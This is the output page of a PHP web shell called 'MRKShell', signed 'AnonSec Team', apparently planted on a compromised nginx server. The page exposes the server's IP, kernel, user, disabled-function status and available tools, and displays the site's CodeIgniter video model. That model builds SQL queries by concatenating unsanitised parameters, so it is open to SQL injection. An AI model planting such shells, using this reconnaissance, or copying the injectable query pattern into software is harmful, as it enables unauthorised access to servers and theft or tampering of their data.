MR K IS HERE

MRKShell
Server IP : 172.67.193.120 / Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /var/www/comunicacion/produccion/sitio/application/models/
Upload File :
[ HOME SHELL ]
Current File : /var/www/comunicacion/produccion/sitio/application/models/video.php
<?php
class Video extends CI_Model
{
	function __construct()
	{
		//parent::Model();
		parent::__construct();
	}
	
	public function dameVideosNota($nota_id)
	{
		$this->db->select("v.id, v.codigo, r.descripcion as titulo,v.tipo,v.preview,v.destacado,r.destacado");
		$this->db->from("video v");
		$this->db->join("relacion r", "r.objeto_id = v.id and r.tipo = 2", "inner"); 
		$this->db->where("r.nota_id",$nota_id);
		$this->db->order_by("r.orden");
		$query = $this->db->get();
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameVideo($id)
	{
		$sql = "select id,video, titulo, descripcion, codigo, tipo, DATE_FORMAT(fechaAlta,'%d-%m-%Y') as fecha, 
		DATE_FORMAT(fechaAlta,'%H:%i') as hora, compartido 
		from video 
		where id = ".$id." and habilitado = 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			$res[0]['videos'] = $this->dameVideosRel($id);
			$res[0]['tags'] = $this->dameTagsRel($id);
			return $res[0];
		}
		else
			return false;
	}

	public function dameCantidadVideosNota($nota_id)
	{
		$sql = "SELECT COUNT(v.id) AS cantidad 
				FROM video v 
				INNER JOIN relacion r ON (v.id = r.objeto_id AND r.tipo = 2) 
				WHERE r.nota_id = ".$nota_id;
						
		$query = $this->db->query($sql);
		$res = $query->result();
		return $res[0]->cantidad;
	}

	public function dameVideoDestacado($nota_id)
	{
		$sql = "SELECT v.id, v.titulo, v.video, v.codigo, v.descripcion
				FROM video v 
				INNER JOIN relacion r ON (r.objeto_id = v.id AND r.tipo = 2) 
				WHERE r.nota_id = ".$nota_id." AND v.habilitado = 1 
				ORDER BY r.destacado DESC LIMIT 1";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function dameVideoMin($id)
	{
		$sql = "select id,video, titulo
		from video 
		where id = ".$id;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function dameVideosRel($video_id)
	{
		$sql = "select v.id,v.codigo,v.titulo 
		from video v 
		inner join relacion_otro r on (r.objeto_id2 = v.id and tipo2 = 2) 
		where r.objeto_id1 = ".$video_id." and r.tipo1 = 2";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameTagsRel($video_id)
	{
		$sql = "select t.id,t.nombre,t.url,t.tipo_id 
		from tag t 
		inner join relacion_otro r on (r.objeto_id2 = t.id and tipo2 = 8) 
		where r.objeto_id1 = ".$video_id." and r.tipo1 = 2";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dame_array_tags($id_foto)
	{

		$this->db->select("s.id,s.nombre");
		$this->db->from("relacion_otro r");
		$this->db->join("tag s","s.id=r.objeto_id2","inner");
		$this->db->where("r.objeto_id1",$id_foto);
		$this->db->where("r.tipo1",2);
		$this->db->where("r.tipo2",33);
		$this->db->where('s.tipo_id',4);
		$query = $this->db->get();
		$res = $query->result_array();
		return $res;
	}

	public function dameDestacado()
	{
		$sql = "select id,video, titulo, descripcion, codigo, tipo, DATE_FORMAT(fechaAlta,'%d-%m-%Y') as fecha, 
		DATE_FORMAT(fechaAlta,'%H:%i') as hora, compartido 
		from video 
		where destacado = 1 and habilitado = 1 limit 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function dameUltimosEnNoticia($not_in="")
	{
		$sql = "select distinct v.id,v.video, v.tipo,v.titulo, v.codigo, DATE_FORMAT(v.fechaAlta,'%d-%m-%Y') as fecha, 
		DATE_FORMAT(v.fechaAlta,'%H:%i') as hora
		from video v 
		inner join relacion r on (r.objeto_id = v.id and r.tipo=2)
		where v.habilitado = 1 and v.lector = 0 and v.titulo is not null and v.id > 10000";

		if ($not_in!="")
			$sql .= " and v.id not in ($not_in)";

		$sql .= " order by v.id desc limit 4";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;	
	}

	public function dameUltimosEnTag($not_in="")
	{
		$sql = "select distinct v.id,v.video,v.tipo, v.titulo, v.codigo, DATE_FORMAT(v.fechaAlta,'%d-%m-%Y') as fecha, 
		DATE_FORMAT(v.fechaAlta,'%H:%i') as hora
		from video v 
		inner join relacion_otro r on (r.objeto_id1 = v.id and r.tipo1=2)
		where r.tipo2=8 and r.objeto_id2 = 4 and v.habilitado = 1 and v.lector = 0 and v.titulo is not null"; 

		if ($not_in!="")
			$sql .= " and v.id not in ($not_in)";

		$sql .= " order by v.id desc limit 4";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;	
	}

	public function dameUltimos($start=0,$limit=10)
	{
		$sql = "select id,video, titulo, codigo, tipo, DATE_FORMAT(fechaAlta,'%d-%m-%Y') AS fecha,  
		DATE_FORMAT(fechaAlta,'%H:%i') AS hora, descripcion  
		from video 
		where habilitado = 1 and titulo is not null";

		$sql .= " order by id desc limit ".$start.",".$limit;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;	
	}

	public function dameMasVisitados(){

		$sql="select id,video, titulo, descripcion, codigo, tipo, visitas,
		DATE_FORMAT(fechaAlta,'%d-%m-%Y') as fecha, DATE_FORMAT(fechaAlta,'%H:%i') as hora 
		from video where  habilitado = 1 and lector = 0 and titulo is not null";

		$sql .= " order by visitas desc limit 0,5";

		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;	

	}

	public function dameMasCompartidas(){

		$sql="select id,video, titulo, descripcion, codigo, tipo, visitas,compartido,
		DATE_FORMAT(fechaAlta,'%d-%m-%Y') as fecha, DATE_FORMAT(fechaAlta,'%H:%i') as hora 
		from video where habilitado = 1 and lector = 0 and titulo is not null order by compartido desc limit 0,5";

		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;

	}


	public function dameMasComendados(){

		$sql="select cm.objeto_id as id, v.video,v.titulo,v.descripcion,v.codigo,v.tipo, count(cm.id) as comentarios,
				DATE_FORMAT(v.fechaAlta,'%d-%m-%Y') as fecha, DATE_FORMAT(v.fechaAlta,'%H:%i') as hora 
				from comentario_min cm
				inner join video v on (cm.objeto_id = v.id)
				where cm.tipo = 2 and v.habilitado = 1 and v.lector = 0 and v.titulo is not null 
				group by cm.objeto_id order by count(cm.id) desc limit 0,5";

		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;


	}


	public function dameVideoDeportesHome($seccion_id){

		$sql="select v.id, v.titulo, v.codigo, v.descripcion, v.compartido, v.tipo, 
				DATE_FORMAT(v.fechaAlta,'%d-%m-%Y') as fecha, 
				DATE_FORMAT(v.fechaAlta,'%H:%i') as hora 
				from video v inner join relacion_otro ro
				on (ro.objeto_id1 = v.id and ro.tipo1=2) 
			where ro.tipo2=8 and ro.objeto_id2= ".$seccion_id." and v.habilitado = 1 and v.titulo is not null 
			order by v.id desc limit 0,1";

		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;


	}

	public function dameUltimoVideoBloque(){

		$sql = "select id,video, titulo, descripcion, codigo, tipo, 
				DATE_FORMAT(fechaAlta,'%d-%m-%Y') as fecha, 
				DATE_FORMAT(fechaAlta,'%H:%i') as hora 
				from video 
				where id > 8700 and habilitado = 1 and titulo is not null 
				order by fechaAlta desc limit 1";

		$query = $this->db->query($sql);
		if($query->num_rows > 0 ){
			$res = $query->result_array();
			return $res;
		}
		else
			return false;

	}


	public function dameUltimosProducciones (){

		$sql="select id,video, titulo, descripcion, codigo, tipo, 
			DATE_FORMAT(fechaAlta,'%d-%m-%Y') as fecha, DATE_FORMAT(fechaAlta,'%H:%i') as hora, 
			compartido from video where id > 9500 and producciones = 1 and habilitado = 1 and titulo is not null
			order by fechaAlta desc limit 4";

		$query = $this->db->query($sql);
		if($query->num_rows > 0 ){
			$res = $query->result_array();
			return $res;
		}
		else
			return false;

	}

	public function actualizaCompartidas($objeto_id, $total_compartidas)
	{
		$sql = "update video set compartido = ".$total_compartidas." where id = ".$objeto_id;
		if ($this->db->query($sql))
			return true;
		else
			return false;
	}

	public function buscarVideo($palabra,$fecha,$fecha_hasta,$start,$limit=20)
	{
		if ($palabra != "")
		{
			$dividir = explode(" ", $palabra);

			if (count($dividir) > 1)
			{
				$palabras = "";
				foreach ($dividir as $valor) 
				{
					$palabras .= $valor."+";
				}
				$palabras = substr($palabras, 0, strlen($palabras)-1);
			}
			else
				$palabras = $palabra;

			$sql = "SELECT id, titulo, codigo, video, compartido, DATE_FORMAT(fechaAlta,'%d-%m-%Y')  AS fecha, descripcion
					FROM video 
					WHERE titulo IS NOT NULL AND habilitado = 1 AND lector = 0 AND MATCH (titulo) AGAINST ('".$palabras."' IN BOOLEAN MODE)"; 

			if ($fecha!="" and $fecha_hasta=="")
			{
				$sql .= " and date(fechaAlta) = '".$fecha."'";
			}

			if ($fecha!="" and $fecha_hasta!="")
			{
				$sql .= " and date(fechaAlta) between '".$fecha."' and '".$fecha_hasta."'";
			}

			$sql .= " ORDER BY id DESC LIMIT ".$start.",".$limit;
			$query = $this->db->query($sql);
			if ($query->num_rows() > 0)
			{
				$res = $query->result_array();
				return $res;
			}
			else
				return false;
		}
		else
			return false;
	}

	public function totalBusqueda($palabra, $fecha, $fecha_hasta)
	{
		if ($palabra != "")
		{
			$dividir = explode(" ", $palabra);

			if (count($dividir) > 1)
			{
				$palabras = "";
				foreach ($dividir as $valor) 
				{
					$palabras .= $valor."+";
				}
				$palabras = substr($palabras, 0, strlen($palabras)-1);
			}
			else
				$palabras = $palabra;

			$sql = "SELECT count(id) as total
					FROM video 
					WHERE titulo IS NOT NULL AND habilitado = 1 AND lector = 0 AND MATCH (titulo) AGAINST ('".$palabras."' IN BOOLEAN MODE)"; 

			if ($fecha!="" and $fecha_hasta=="")
			{
				$sql .= " and date(fechaAlta) = '".$fecha."'";
			}

			if ($fecha!="" and $fecha_hasta!="")
			{
				$sql .= " and date(fechaAlta) between '".$fecha."' and '".$fecha_hasta."'";
			}

			$query = $this->db->query($sql);
			if ($query->num_rows() > 0)
			{
				$res = $query->result_array();
				return $res[0]['total'];
			}
			else
				return 0;
		}
		else
			return 0;
	}

	public function dameUltimosDestacados($limit=5)
	{
		$sql = "SELECT id,video, titulo, descripcion, codigo, tipo, DATE_FORMAT(fechaAlta,'%d-%m-%Y') AS fecha, 
				DATE_FORMAT(fechaAlta,'%H:%i') AS hora, compartido 
				FROM video 
				WHERE destacado = 1 AND habilitado = 1 
				ORDER BY fechaAlta DESC
				LIMIT ".$limit;

		$query = $this->db->query($sql);
		
		if ($query->num_rows > 0) {
			$res = $query->result_array();
			return $res;
		}else
			return false;
	}
}
?>
Anon7 - 2022
AnonSec Team